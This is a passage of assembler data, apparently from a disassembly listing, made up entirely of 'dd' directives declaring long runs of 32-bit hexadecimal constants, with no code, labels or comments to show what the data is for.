		dd 7DE7624Bh, 2D045155h, 7E54E6A0h, 0E91A2EA3h,	0FFCA44ACh
		dd 6804E7CFh, 0AFAC594Eh, 195CF296h, 43401F55h,	9726D8D8h
		dd 6E7BBCC8h, 180EF74Ch, 290D7FF3h, 0BB949DD9h,	0D2275155h
		dd 3CD7B2A9h, 0EE92532h, 0D47278E2h, 17685005h,	0CBFEFD6Eh
		dd 2C050752h, 0F722DC11h, 0EADCD8h, 59586072h, 0E1012BBEh
		dd 0EE81467Eh, 58CE38C3h, 3C3265A3h, 7F1095Dh, 3FB4C01h
		dd 0E5D1C555h, 60DDEE83h, 25A6CA1Ch, 8A517336h,	0E9565781h
		dd 0A004181Bh, 3A0E9AEEh, 0A2BF0E49h, 0F8354124h, 22BFF29h
		dd 71E95F67h, 0C7D52C4Ah, 0CC0E0AC0h, 0A6D897E7h, 0BD5503FFh
		dd 0F06A05B4h, 0D34990E9h, 8F90AD46h, 0F437A653h, 0E9469F42h
		dd 0F970807Ah, 1E54C09Dh, 0AA3CD607h, 98FA7075h, 0FD40410Bh
		dd 562C588h, 89DDAC5Ah,	34CBE0E1h, 48F09F76h, 2F13E697h
		dd 0D1CA54A0h, 5DA09ADFh, 0B9931B79h, 7D0EE7B2h, 0F5A1D5F6h
		dd 6FEF30B7h, 26E992D8h, 0C804BB45h, 424808A4h,	4ADE402Fh
		dd 0F54FC09Eh, 59EA086Ch, 0FB7EF2ECh, 598F9F25h, 7EFCCB85h
		dd 0C4B509CEh, 970E8463h, 0E91D7FFAh, 2FED3BD3h, 99820611h
		dd 42D86525h, 407124Eh,	42153B4h, 8B8BFC30h, 0DFEC8005h
		dd 0BECB1328h, 71685C31h, 22B255E2h, 8463DB09h,	8D3228F9h
		dd 8E397EB3h, 0BB1C140h, 0A44E6471h, 97871646h,	0A01A6D82h
		dd 6BECBF80h, 87034E43h, 4EF31E3h, 1BD2047h, 0B7CF8102h
		dd 603F853Eh, 27C2233Ah, 615C12FFh, 5007E904h, 687D9CEEh
		dd 0E67BF327h, 29D31281h, 0C098AE01h, 0AB226084h, 4C210CC5h
		dd 0EB313B17h, 3D1DAABCh, 0FB255774h, 2C086950h, 1416965Bh
		dd 0F94A9AFDh, 0CF2D01C9h, 5A2B1815h, 0D12D983Eh, 4436141h
		dd 0AA17C12Ah, 0DB7C10A7h, 0B7FBCF70h, 6812F89Ch, 1AA872FDh
		dd 787D16C0h, 3271E94Ah, 0F9C8015Bh, 2B946005h,	0CB215BD9h
		dd 0DDF7FF62h, 0AF1075ADh, 58B7262Dh, 42CAD2B3h, 0B335EF7h
		dd 0F876C78Bh, 58CCDA02h, 4798DE48h, 1BCD6252h,	0F4C6E9A7h
		dd 0F5A7F85Bh, 200C9CAAh, 0F49C6A46h, 95C901FDh, 0EC7C0443h
		dd 0E8B7DB36h, 2D21AB76h, 0A0D24BBFh, 62058017h, 2F028106h
		dd 3CB72F90h, 0D8744F5Ah, 0A2B9B1D2h, 223E9E0h,	0B4503EC0h
		dd 7BB551F4h, 43C5257Fh, 283C9B55h, 90D9CF24h, 828A206Ch
		dd 5A0FED90h, 65755776h
		dd 6BC817DFh, 454F4885h, 70E228D8h, 380C533Fh, 0B831418Ch
		dd 5CAD61E8h, 0A36E0E2Bh, 0FAD75716h, 8BE9910Bh, 3DFE6FAh
		dd 1BF360DFh, 81904941h, 13D5DCE9h, 9885A4Ah, 0E4599FC1h
		dd 4C62186Ch, 292D9832h, 91B69884h, 7B1DB034h, 0FE045CD9h
		dd 45BBEF95h, 0B0D8D04h, 4C56A473h, 73E0FC27h, 77E8F605h
		dd 0C4FA2E09h, 3A8E8225h, 7E726CF5h, 3DDA93B2h,	0C2A97EB0h
		dd 4C252FF9h, 37E57843h, 5B2BC5E3h, 2F6FC108h, 969D4258h
		dd 4329F7FBh, 6AE2E983h, 8CB8104Fh, 6876E0B5h, 49557E2Ah
		dd 7E6997BEh, 5A12000h,	4E9C1DCDh, 510AB29h, 685D0408h
		dd 0DAFB2FC7h, 0C4E90AD2h, 4427A10Fh, 0F9D1252Bh, 0E68317CCh
		dd 6CCBA9E1h, 0BC5BDE06h, 0F4D14B2Bh, 7740DBE2h, 17013EBFh
		dd 8FC04E27h, 0F19F8168h, 0FB04BC32h, 0C825E308h, 0C841D40Bh
		dd 0E47FD83Ch, 0E78106DFh, 0DE7F63A7h, 0AE31D634h, 0B5491904h
		dd 8D765A1Fh, 33F39107h, 0C3DB1F80h, 3546ADDDh,	48E8C1DBh
		dd 75865589h, 0DCB05211h, 8225B709h, 864C756Dh,	71C1035Bh
		dd 14A510E0h, 8154375Ch, 0E724FF8Fh, 25F57729h,	4DF170B2h
		dd 8967D49h, 39E66812h,	759CC9AAh, 36A9C111h, 6BE748BDh
		dd 7B18D510h, 0B9C6608Dh, 4C1007E8h, 3C8FF45Ah,	10D43106h
		dd 5B7EBE01h, 0CE816A1Dh, 0E31072E8h, 4935CA9Fh, 0E7F875D9h
		dd 0D1B07183h, 765EDB28h, 663C50B9h, 0E9791B82h, 0E2D6ED98h
		dd 2D1F4288h, 0C0096D4Dh, 0B29A88E3h, 0EB4B8612h, 7438D518h
		dd 98A59D87h, 90EA8002h, 84476250h, 8DD41BE1h, 7690B7AFh
		dd 0F35C4F84h, 55FB4A9Ch, 7548B966h, 755F6A18h,	0DF8AD6ABh
		dd 94B8BCB0h, 316B3612h, 45B86416h, 6875CC5Ah, 1C2FCE26h
		dd 2A7F5C3h, 534AB71Bh,	60DD5A0Bh, 0C59543AAh, 0F8029A1Bh
		dd 6D21A593h, 0BF471094h, 0F75FF822h, 20F3AA60h, 25ED02F4h
		dd 0C2178D7h, 34936785h, 0B9E1704Fh, 95588C2h, 0D9C7AF39h
		dd 27E16224h, 555D4068h, 0F40C872Fh, 69A85A9Bh,	0E90B31FBh
		dd 0DF88A435h, 0E6042A83h, 5D518858h, 4F4D5E59h, 8DC779B0h
		dd 52E5616Eh, 7E70D940h, 0C2686607h, 4EFD0D4h, 0AAF301BCh
		dd 5A08CB35h, 0D2F70B3Eh, 90F92C82h, 54C7CCAFh,	1F8C2A91h
		dd 0C0934ECFh, 0E5CBBA12h, 3DF76D11h, 0CAACDBC6h, 27469DDFh
		dd 0F0828F93h, 67A4C165h, 0CAFC25h, 0E9FC8889h,	0FB9EBD47h
		dd 0C46C79Ch, 90C72F2h,	6E74ADF7h, 0BB4F097Dh, 2AB43E08h
		dd 0ABED39E0h, 0C580D525h, 57080A1Ch, 0A09A293Fh, 141CD008h
		dd 793F0952h, 3888A058h, 460E47ACh, 562B005Dh, 2512A0BEh
		dd 0E98F78C6h, 30497D03h, 7A19A0B7h, 18C03667h,	7EE40EFDh
		dd 6659229h, 0D76A1BE5h, 400B844Bh, 82432241h, 0CF15A2Eh
		dd 5C3C1D36h, 1027FBA7h, 6FE5DCCDh, 0BCD48324h,	716EC629h
		dd 16407E10h, 0ED0141DEh, 0CD29844Ah, 0AE7765BEh, 13389661h
		dd 5B5E0A89h, 3120984Ch, 868A709h, 722D6B99h, 0F4ED7E87h
		dd 1040B71Eh, 86A3866Dh, 0D60D40F7h, 484AE921h,	0E7695112h
		dd 4AA2CF6Eh, 9B3FD5ACh, 0C36AC216h, 0F4F9703h,	93D493FDh
		dd 3349397Dh, 409B9650h, 0B30A685Eh, 0AA69081Ah, 0E9065D0Ah
		dd 8002F040h, 944DF63Dh, 29582470h, 8C126BCFh, 34896C77h
		dd 94BD0DE5h, 6D88BF76h, 3D806388h, 3CC251D0h, 531F8058h
		dd 0F389BCB3h, 4ECC8173h, 0D8C0DB2Ch, 876FE904h, 91D95E2h
		dd 16F7AF98h, 0EEABA8F9h, 948BD78h, 0D83D4553h,	9B21A405h
		dd 28FFB583h, 13C0C9EEh, 95CF6E34h, 82A4145h, 0A0EFE925h
		dd 1FC8EDE2h, 0C716017h, 920AE0BFh, 2AF070B7h, 25A7B41Eh
		dd 0E7E91224h, 37DC3E80h, 493DF856h, 2C2D1E1Eh,	7E6B75D9h
		dd 2BC456DFh, 22FF7729h, 98501054h, 0B50E6CB7h,	3031A3CCh
		dd 46349F4Dh, 0EFC15F00h, 0DF7B2EB8h, 8880EAEEh, 0D9D995F5h
		dd 92FC1770h, 0B7978004h, 5B0ECC98h, 0F5240EAh,	1E309781h
		dd 0B28A1DE9h, 0D4F33EAAh, 74F80328h, 685B0C2Ch, 0F295D95h
		dd 0CF4BE060h, 0F34E0986h, 3082F7D8h, 0E90C7F49h, 9D02122Bh
		dd 55F9011Fh, 5D088568h, 2D2047BFh, 19F5FB0Eh, 5EF550BEh
		dd 306F1825h, 118157Ah,	1136C9Dh, 0CF19F9BDh, 3EDDF70Bh
		dd 54066B1h, 59221073h,	0C51D3923h, 0D10E0F98h,	0ED7EFEBh
		dd 8ABB12DBh, 808B2780h, 24EBBF4h, 75727AAFh, 62609ED9h
		dd 5F04CB15h, 0C61FDA81h, 6E3F892Bh, 0C02FF10Bh, 2B652A3h
		dd 8054B102h, 0AE8433E1h, 0D9DAAE0h, 8F6C3A31h,	7FB5627h
		dd 4562E961h, 24D20F39h, 0D8ED093Bh, 0FC950614h, 41610CE9h
		dd 305A0C10h, 134E26A8h, 0CC3CAB10h, 6AF625E9h,	78DD9027h
		dd 0F74C871Dh, 0B04D08D3h, 2A429202h, 0EADFEF68h, 0CF594B20h
		dd 45E9136Ch, 0D55E414Bh, 0CB401DBAh, 7B2D161Ah, 2E9A2511h
		dd 0D9BA9712h, 0C4980406h, 6875309Bh, 18BD405Fh, 0C4FE3F07h
		dd 0B310051Bh, 5E1A402Fh, 8897E927h, 0A324C9B3h, 6574E9D0h
		dd 841140Bh, 0F827919Eh, 285EEC0Ch, 9DB0254h, 831A025h
		dd 0EFAA6005h, 0D4C54CAh, 78216C04h, 0C046BB61h, 32A3787h
		dd 18B51CB0h, 52D9C528h, 0DB2D7ABCh, 63B9A43Bh,	767F2A17h
		dd 0C01619Dh, 843AF5E9h, 0F09A21ABh, 0FD0D001Eh, 1AF40071h
		dd 503E0C1h, 152F28CCh,	809B4885h, 0F1EAB4E4h, 0DD5F4158h
		dd 0B956972Bh, 7F96431Dh, 650BE013h, 37E9F907h,	7D5BA206h
		dd 91244251h, 1987F24Fh, 7CF2A252h, 84A94F13h, 515054E0h
		dd 0E205A90h, 68662685h, 0CAF18A1Eh, 30298AF1h,	0D812BC5Ah
		dd 9EB9BD71h, 5F8B5985h, 2DCA93FFh, 0C72290E4h,	0D83D3BDAh
		dd 74449003h, 7BB4500Fh, 0F564F04h, 0F39AC554h,	188B325Fh
		dd 0CE562038h, 30F23159h, 0AC6C525Eh, 140D8579h, 5173A6E9h
		dd 476C9FD9h, 89045B1Dh, 2686FE2Ch, 2F27C333h, 9F34F167h
		dd 85AED7EAh, 6F73F3FCh, 6DDF2F0Dh, 797F08FBh, 0C7EC2D07h
		dd 0CA26D131h, 0A766BF08h, 9D18AAEDh, 0B572B958h, 0EE7FD8FEh
		dd 0ED693801h, 15F4E932h, 58C7F650h, 5FF80431h,	8D51CE68h
		dd 96F160BAh, 7AC94D00h, 99776BEh, 0D5E0BFA1h, 0E913D6F7h
		dd 5AB3A0D4h, 8C580804h, 80E1C469h, 1BF581EEh, 119D2D00h
		dd 123E6850h, 0F7425C0Eh, 98CC35B0h, 1C5E01Ch, 0C38CF6A7h
		dd 6725EAD9h, 9C6278F8h, 712C0094h, 0F1014F9Dh,	5BE2E948h
		dd 0A25C77E7h, 11EA0603h, 6D4FBA52h, 7A140000h,	2927C0h
		dd 0CFBB53F2h, 43239520h, 0B13E3FEh, 1D06AC0Ah,	1355E2Fh
		dd 0BE0767C3h, 0F4EB2974h, 0E4BF12DBh, 4EF2F09Ch, 0A87C6558h
		dd 26F24B6Eh, 0FC88D662h, 0E940CB59h, 0B40112AFh, 74BA40C6h
		dd 0C9B02C3Eh, 0E20DB669h, 0C0C657C3h, 51CAD6C7h, 6D057690h
		dd 2A442F26h, 25071E08h, 58359177h, 66537660h, 74C6D550h
		dd 5A7B09F6h, 1348B4FAh, 4FD09D9Eh, 88506601h, 0D1D0F6C8h
		dd 5AA63AC1h, 0CFE9800Eh, 0FFDA585Dh, 0F2001334h, 52EA8145h
		dd 98179E14h, 0A3C4581Ah, 48A6DA93h, 4DB416B7h,	0E1284BCDh
		dd 586A896h, 2350624Ah,	0B39E691h, 589C56h, 282E2CBBh
		dd 5BDD3108h, 0F7A701B7h, 7F3D2DD8h, 0C4610275h, 7FE98559h
		dd 8816E2F8h, 5A245BDCh, 7EF218C2h, 9A56AFCBh, 7A7B1340h
		dd 0A5E92C16h, 315E8073h, 88685AD0h, 0FCFC93B2h, 596C3065h
		dd 0D725A8F2h, 91F7B523h, 315098B0h, 0C92CF95Eh, 0A3155BFCh
		dd 57CD1D3Bh, 44BBEF96h, 1634EED4h, 0FF293F0h, 0D2AF04EDh
		dd 478294A6h, 0EA9FF87Ah
		dd 0A1CE5794h, 9185AA4Bh, 8F134BFCh, 0CD31AE6Fh, 0FB296D62h
		dd 0A673B302h, 0EE558936h, 0E979BE37h, 68049155h, 525196F4h
		dd 5613A6A0h, 0D6BA4D3Bh, 0BF04E831h, 1AA0E5D6h, 0D997A0CBh
		dd 6B7F965Bh, 9E8B6402h, 4FDEC4Ch, 0A4988EC2h, 0DA80DB83h
		dd 261230C3h, 77515C4h,	693B1109h, 840285Dh, 35EAE904h
		dd 8F80EFD4h, 582C73BEh, 0BB01986Ch, 0BAE9D1C1h, 79932D3h
		dd 3E1B608Dh, 575D85B2h, 288BA699h, 0DEBF0E77h,	30A06C6Ah
		dd 7D2D3820h, 0C657C2DAh, 58E90882h, 68154DD8h,	1CC51CDDh
		dd 472C3175h, 8C11064Fh, 0CB71BF7Bh, 1D7F709h, 221493Eh
		dd 0BFFCE620h, 0E05C8BD2h, 71542573h, 92D1A650h, 68E44044h
		dd 45908A12h, 0C3F0BC92h, 0AA7F4B62h, 315D022Dh, 4C1C0B0h
		dd 0B2651897h, 1F519D36h, 47AAD2CFh, 0A119BFC6h, 0EC4771FCh
		dd 9BBDFF9Ch, 2E2D10BEh, 4A924B02h, 0E51CD521h,	5376499Fh
		dd 0B8868539h, 4C9856EEh, 4D4C6B0Bh, 3AD2027Fh,	0AF5F0595h
		dd 1EAF1D85h, 0A870DF56h, 53271EA5h, 0BCD83F3Fh, 0D08C728h
		dd 41E9C35Bh, 0B2C54457h, 1BE9C21Ah, 81B105F8h,	403AB49Dh
		dd 3BEAD1E4h, 840FC20Ch, 4E512329h, 5A97E654h, 0D6100A9Ch
		dd 7BA2996Fh, 0F8104AB6h, 22F640EDh, 0CE41325Ah, 55B2277Dh
		dd 0C7731892h, 845EE90Eh, 0F32690Eh, 91F8173Bh,	0F1DBAE92h
		dd 0DF505C25h, 856FC169h, 12EB070Ch, 2B45E53Eh,	5C8B04E6h
		dd 2677FA10h, 0E93C0104h, 918DC29Bh, 1D55FF20h,	0BE20E146h
		dd 35054C85h, 1CB88670h, 7EE90880h, 4738B169h, 4AE905A4h
		dd 94578889h, 12582F00h, 0AB36A92Dh, 16C4EA0Ch,	0E015715Bh
		dd 0AF9208E9h, 0E4805A04h, 0E7E066E1h, 9019428h, 0B052D437h
		dd 0EC67AC01h, 0A8F18160h, 92B20DA6h, 0B422B82Dh, 9254DA64h
		dd 61123208h, 97B864F8h, 7151DFD6h, 871F526Ch, 100479CBh
		dd 0FE2A3745h, 0DBE68A81h, 916663FEh, 3070D1D3h, 32B1E151h
		dd 0D27971C2h, 0D38872C8h, 4EDBF63Ah, 0E876F6FCh, 0E9A9A080h
		dd 0B3F54E8Dh, 0A4AC17ACh, 317729FBh, 0EAAE5468h, 4BECDD75h
		dd 0A2E3F85Eh, 49805E53h, 68B681D7h, 0DD8A6221h, 47FDFA45h
		dd 0FBE38202h, 3850D157h, 0A993E227h, 6CEFB0C1h, 0C207CB30h
		dd 0FCA1408Fh, 56E83069h, 0E77C9E0Ch, 0DEC8226Bh, 0FF7325CDh
		dd 4644D425h, 0DAC9215Eh, 5A890051h, 0F249B552h, 0BD00BFF1h
		dd 771D0F1Eh, 554BE93Ah, 0DFB26FADh, 50329A10h,	7A09EB42h
		dd 816C0830h, 0C847D126h, 1CFB329Ah, 81C080Dh, 167F7214h
		dd 0C22D21EDh, 1774FC90h, 0F4C3DDC0h, 0BD72117Eh, 0E7CACBE3h
		dd 2C7C0340h, 0E4F99Dh,	7FEC18DEh, 255DE94Fh, 0EBF95085h
		dd 241AC5Ah, 31AF2D68h,	0E4795164h, 0C8017639h,	0C1059026h
		dd 0FC9D02EAh, 4FBA68D5h, 60548A17h, 0F6333B2h,	0FD2074B0h
		dd 0AEBF0738h, 0A4368576h, 58B1F088h, 125B679Fh, 0B9A7E0E0h
		dd 9D2EE109h, 237E0076h, 258962D1h, 0E172EFE9h,	1A756C2Fh
		dd 0AB68C036h, 0EE48BA25h, 6C872768h, 0E590F496h, 0CE300202h
		dd 8C70179h, 9242908h, 0DD6AE8B2h, 0E2D14F8Bh, 0F0AAFB8Ah
		dd 0F72F1AA5h, 0E91AE296h, 542CAE49h, 0EE27560Ch, 0BDCAC698h
		dd 0E985E54Fh, 0C45826D2h, 80CAEAA8h, 0EE253058h, 2772FC59h
		dd 0B4C0265Ch, 1EC4802Eh, 0EFE4C0B7h, 0CC6FF5F0h, 0E9528109h
		dd 57BB8053h, 53EC8216h, 99B5A889h, 44D06848h, 0E9780CB2h
		dd 0E2D7DA95h, 2A11981Fh, 7AC0C70h, 635D49D6h, 8769190Bh
		dd 61554080h, 0E6987594h, 32166A76h, 2105297Ah,	24FA1D1Eh
		dd 2824C268h, 5E4BC170h, 9F8C28BBh, 42826C12h, 171AEB0Eh
		dd 55CA26DCh, 34A85C59h, 328B04DFh, 0A84A7D42h,	0D80210BDh
		dd 5825BF04h, 0C7A5C080h, 7C091855h, 0A717E9DDh, 0E0CE5A32h
		dd 7B6FF913h, 295B5851h, 2A129C25h, 0C7AC93B8h,	0CDB2C4B5h
		dd 6ADF9D68h, 0ADAC5A0h, 5F56AA70h, 0B630397h, 4B083F16h
		dd 25915DE9h, 1383FF9Ah, 61129580h, 92EEEA09h, 527EBAA7h
		dd 0F6163D61h, 0B0C74F7h, 17E3868h, 0ADF60555h,	9D29AE8Ch
		dd 5A1275DBh, 0FBB162B8h, 0EB8A3EC8h, 83B5F24h,	0BA017684h
		dd 132F02F3h, 9EFADC80h, 0D109D852h, 2A94E917h,	0B36477FFh
		dd 0CB3B386Bh, 4C01C0A4h, 0C84B56F5h, 5A00493Dh, 0BD552E3Bh
		dd 683C05E3h, 9D61829h,	0A0C05B6Dh, 0C080838Ah,	2C0339E0h
		dd 55275DC8h, 0F27323DEh, 40F26AB6h, 2F406D42h,	64C21C2Dh
		dd 20A94C1h, 5046555Eh,	6C56AEF8h, 83E14D82h, 2A4AAF68h
		dd 95B08329h, 359B4B54h, 1EAE9DFh, 1106A07Ah, 0A9E7E3DFh
		dd 5210F63Eh, 2A6F9681h, 0A2A30F2h, 20107302h, 9E0CEE9h
		dd 141D20DFh, 1D288A0Eh, 0AD1E6858h, 65CA1D98h,	587FB827h
		dd 4DA80B59h, 18002308h, 2BCF639Ah, 160915B0h, 70200A0Eh
		dd 86BA12Ah, 334E6CDAh,	0F6C4E8D3h, 0DE8852A8h,	584E1B7h
		dd 0A4EB0120h, 677607A7h, 0CE5E11D7h, 808CB24Ch, 48EAF238h
		dd 55B24FEAh, 4B0E29Ch,	0B5653226h, 0FECFB360h,	404D2CBh
		dd 0B5C6606h, 13474653h, 0F85DEB89h, 0F75B8B83h, 76953194h
		dd 8FE9E3CBh, 2BB01CD6h, 86C4EE4Bh, 0CD8F0B8h, 9F2D8F21h
		dd 2D105EA0h, 6180DDB9h, 0FC686061h, 7CBBC840h,	62BE2D54h
		dd 12F9C9A0h, 52B561D9h, 0B461989Ah, 49BD073Dh,	0A21A9707h
		dd 37C487A5h, 46868425h, 0EF88279Eh, 0F2A4307Fh, 8CB89784h
		dd 5582ECF1h, 935AF60h,	0F0CFBF1Fh, 9B713D49h, 0E0A9C79Bh
		dd 0FEF90949h, 0D2104E2Dh, 0AFCA2E95h, 35C63D80h, 0C2E63C4Eh
		dd 82AF0BD2h, 92ABEB51h, 0B6C0EFF6h, 0F0F5085Dh, 0EDD0075Ah
		dd 8C80DDF6h, 2445D982h, 8C85ED3Bh, 0AD6C51h, 405E1F41h
		dd 0E62C8005h, 8F86B050h, 0CC414C41h, 0C87B357Bh, 5CFE5601h
		dd 4F4E9F59h, 83D385ECh, 0D48855DEh, 0BAECE974h, 23E197E1h
		dd 81BA12C5h, 3319B0A7h, 0EAD11E85h, 14CEF78Ch,	0CD81034Dh
		dd 2AA01299h, 19BCC2BCh, 5087B0FBh, 7939BC68h, 67F04BD7h
		dd 96567395h, 8CC1688h,	57059D8Dh, 87E20CFFh, 945CDA13h
		dd 0AA01AE15h, 0DEF63AB6h, 3980D6C8h, 0CDD1C1E6h, 2C9DEED8h
		dd 1DF38C04h, 345A042Ch, 0DBB0FA50h, 0CCFD5AB0h, 2C416131h
		dd 760123Fh, 453CBB06h,	5299801Eh, 4590DE61h, 0A5A228ECh
		dd 2010ECDFh, 0C295E6D4h, 18BE05Ah, 66870002h, 0DB6F07B9h
		dd 0F13E29CBh, 953DF95Eh, 7AE0CBFEh, 17DA0D49h,	6ACE01h
		dd 1E03E908h, 255C92C0h, 7BB62BE3h, 0C0732A69h,	4DE177A7h
		dd 0AB414408h, 94BDE92Ah, 127510BCh, 1E956809h,	5F55327Dh
		dd 3DE945B1h, 0C5368545h, 0EC4A47F2h, 0A500D395h, 44801825h
		dd 11482AE9h, 0D4E607FBh, 0B3210F0Eh, 170287F6h, 0FC3DC6C3h
		dd 294E9137h, 1FA2A47Eh, 5E4F5071h, 0D83E65F1h,	0F2414ED6h
		dd 0BF6BA30h, 77162D9Bh, 5E05669Bh, 0CA63343Fh,	0A81C81EFh
		dd 5F330280h, 575D75EEh, 84688201h, 0B299D54Eh,	2AD235D7h
		dd 87E469B8h, 53D4490Bh, 0E9710C7Bh, 7361437Eh,	0BF1A16F5h
		dd 9C0F5978h, 4BC0443Dh, 0F66716F3h, 0F73198D8h, 81AB5F3Eh
		dd 0BE687123h, 190BA8C8h, 2831E73Ah, 0B509CA32h, 864A7B1Bh
		dd 5463C53h, 0C44468BEh, 5C83EB36h, 80BB8C47h, 0AC9CEFD6h
		dd 0E984F307h, 0B0E2BDEh, 58C7D65Dh, 4EE23165h,	380524B8h
		dd 876FFC7Ch, 14AB3284h, 4B7FD130h, 501AB6F8h, 2257428h
		dd 0BC4C04EEh, 0E546491Dh, 246994D5h, 6FA425DDh, 0ECE00D09h
		dd 9DBDE389h, 15712F42h
		dd 80C3B181h, 0CBC1CCEBh, 0DF5BBFD7h, 5320E516h, 0C858646Fh
		dd 5F5DACE3h, 0BFA5D2A9h, 18D779D1h, 8543740Dh,	0EFDFF261h
		dd 33C9777Ch, 18421970h, 1813737Dh, 5013A5Bh, 0E9F88985h
		dd 932E1DD5h, 0CB92E129h, 0F227EB7Dh, 548BA9BAh, 24CC2782h
		dd 0DCAF600h, 0D6E9BCA9h, 0E517C1FCh, 80801493h, 174DCD2Eh
		dd 49E96DC0h, 0B24FFDD8h, 0E589C44Eh, 60A25391h, 29C16A54h
		dd 39805DF1h, 0FDF272C3h, 4790558Dh, 242A1909h,	4224F53Ch
		dd 0DE99AEEEh, 974B7E0h, 6DE962F9h, 560B9278h, 167DCA68h
		dd 27F89400h, 775A09F4h, 233F004h, 0D53CD2E9h, 544C936Eh
		dd 1AD417E1h, 0E9B08DF9h, 3BE1AB2Bh, 2484023Dh,	4730768h
		dd 0DAE18CE9h, 3D4D2030h, 3815FE28h, 0C11295E4h, 0C307E801h
		dd 0D75A7F2Bh, 5A6256BBh, 0A6E7086h, 97F7EFB7h,	0BB85B12Bh
		dd 58ADAFDAh, 8F6AB4B5h, 3E6BEE09h, 0C333ED29h,	485760D9h
		dd 2BB881B2h, 0DB5E6924h, 580DE600h, 18464CB8h,	28A3FEE9h
		dd 0C8EED031h, 0DB27ED94h, 2F0C9066h, 98486659h, 4C5D1D48h
		dd 0A3E9C941h, 0E3076552h, 60165AC3h, 0D99D40B2h, 68E64978h
		dd 46544DC9h, 6857020Dh, 1E994546h, 3EEB3A41h, 167AD089h
		dd 0E57302B5h, 74C1D169h, 0BFA9F666h, 0F5256476h, 22DB609Ah
		dd 14A87608h, 6412E129h, 0EC96D00Eh, 0D87D3F85h, 0D327DA7Dh
		dd 0D1AFCB06h, 34600B16h, 7E2801F1h, 0FBE93609h, 27E2331Fh
		dd 3B679C54h, 35CBE7E9h, 0CAC5FE07h, 481CCBAAh,	98155887h
		dd 0F06855C0h, 4C8D0013h, 0EC1EB95Dh, 8103B372h, 567F12E9h
		dd 0C1B4A911h, 43314324h, 2A4C47h, 101C0A45h, 5BAEE955h
		dd 0E4CB8DB1h, 93BDA619h, 0C7CBC154h, 74F1AB04h, 5B8168FDh
		dd 35077A66h, 4F8CB58h,	409D2010h, 0C72CA7DFh, 55E828DEh
		dd 8A6C666Eh, 2785B238h, 0F316D5D0h, 221E1C25h,	7AA5D7A1h
		dd 0EFEE0516h, 0E1BA82FBh, 8FD20628h, 746F842Ah, 606FE697h
		dd 2D51034h, 23982A38h,	0A6FF677h, 2EF2EF0Eh, 0E8E42BE9h
		dd 0B0067D5Fh, 79ED81CAh, 18050D80h, 15D3E02h, 72DC828h
		dd 0C4200898h, 4BDCA09Eh, 5CD2205Ah, 5F57C007h,	1CCD0110h
		dd 8B1C0806h, 726FF014h, 1002584Ah, 17E28C84h, 5F6F9889h
		dd 0FD528816h, 7D55E2Fh, 24DE8956h, 22F982F1h, 0AA52D00h
		dd 1170A9Ah, 3E0705F8h,	0F56D0570h, 21088B72h, 0C2657DF7h
		dd 0AAE394F6h, 0B91600B3h, 7C1640B7h, 60BE1C1h,	30344C68h
		dd 0B0CA6FCh, 98E93ABDh, 539DAD76h, 81C5CCD7h, 4A039FAAh
		dd 3ED453ECh, 294EBE20h, 55CA9A0Dh, 7F8DD740h, 83E48C8h
		dd 0AD5CEA20h, 719D711Ah, 0EAD9699Ch, 4168A2CFh, 6E3A7453h
		dd 0D211C716h, 0D3741730h, 26A59F9h, 9F569947h,	0A44B9BC0h
		dd 1E620B96h, 0ACB4F9F5h, 0DDD7C361h, 29D26D05h, 0E0832E36h
		dd 0CD6526B5h, 8833C951h, 55E9130Bh, 5C6B9959h,	85103472h
		dd 4BD2D42Ch, 203AE5B1h, 161C0573h, 7039B227h, 293F2D30h
		dd 1D7CF368h, 0A6804824h, 0B20FC902h, 80F07D14h, 74820882h
		dd 0B14CC1DAh, 41067309h, 0E2CC0008h, 3B037E0Ch, 9D74C13Dh
		dd 3303B04Ch, 3108CE78h, 0D14A18CAh, 13F67FAEh,	5F4A707Ch
		dd 4C03E14h, 526616E7h,	8000CFBh, 0DD4A5432h, 0D24AE2A6h
		dd 4FCA0B60h, 755F38C0h, 0E29844F0h, 0FE0477B2h, 0C0E386C4h
		dd 0FFFE06FAh, 0C5387B16h, 12ED0E69h, 0D03ADE29h, 90A39508h
		dd 0B827FECCh, 45925884h, 789A755Eh, 0E9A2987Dh, 0BA69229h
		dd 6E4E685Ch, 80C0B3D5h, 219CF14h, 2922CB81h, 0AA82477Ch
		dd 86C5012Ah, 0D1B6D727h, 82097DD3h, 5406AB44h,	89C3160Eh
		dd 0F3D2DAE7h, 758EE927h, 3908C018h, 0D13F8276h, 709F92E8h
		dd 724405Eh, 0D22D6302h, 92065E46h, 0C7CCD0A1h,	14C4A32h
		dd 28F73CCDh, 0CC708EFh, 3DE11847h, 126EB6E9h, 0CA8ABB64h
		dd 7921EF97h, 1ECC42C7h, 1C860530h, 2774DF68h, 423BED5Bh
		dd 5900E5B9h, 9FC33166h, 66981F50h, 0AEE5452h, 0B42B5FDEh
		dd 41EEFD14h, 0DDC1ED08h, 21C94402h, 7FDD01DDh,	987B11B1h
		dd 4A4B7995h, 69ABB6D0h, 0FC495E4Dh, 0A5F85A16h, 7F53BE4Eh
		dd 0CF3038BCh, 0D988F37Fh, 0D41C8D2Dh, 844A3C63h, 0BFDC13B0h
		dd 843F597Dh, 3824008Ch, 53F86FEDh, 4FFB809Fh, 0BD1BB02Ah
		dd 4B1236F8h, 0CBEB012Eh, 58C70B75h, 0C2E77C5Eh, 0C0BE8AAh
		dd 68BE13B6h, 288E326h,	4E9E03D9h, 3C5B2AC1h, 0C181003Dh
		dd 5C07B955h, 72E32FE9h, 6B5AA791h, 5051E482h, 0FD672FDAh
		dd 1CA1CA52h, 92F5105Eh, 0A7650989h, 166EF29h, 7CFD574Fh
		dd 5940E983h, 6AEB3727h, 20E1F5E8h, 1F416FFDh, 164223EFh
		dd 2CFDB16Ah, 0E9C34B4Dh, 312A105Bh, 0DBF602E8h, 0DF1DEB80h
		dd 2556242h, 0E19EEDEFh, 213B594Ch, 7F568A28h, 191625E2h
		dd 0AC41EEE3h, 99C0503h, 6E4B0C82h, 0C17D4225h,	7164826Dh
		dd 3B6403BDh, 0E5C16A1Eh, 5528C412h, 9806FC8Ch,	0FC32582Ah
		dd 0B07E215Bh, 0D9759774h, 16714EBCh, 0B02C8606h, 4A9531E4h
		dd 2D82F7E1h, 32F9837Fh, 10C91A6h, 4AE925C5h, 0C0620039h
		dd 0B05005E5h, 88EEFD66h, 0BAD24F06h, 6775C1Dh,	7092E9B2h
		dd 0CB80244h, 96A2911h,	88A8EF7Ch, 2DF6D853h, 0C915E85Fh
		dd 16BF926Ah, 62427D68h, 0A4A6A13Ch, 50DD429h, 0D2600126h
		dd 7039A61h, 51C7DA59h,	1B65AF8Dh, 0C822D5A7h, 8902DD3Fh
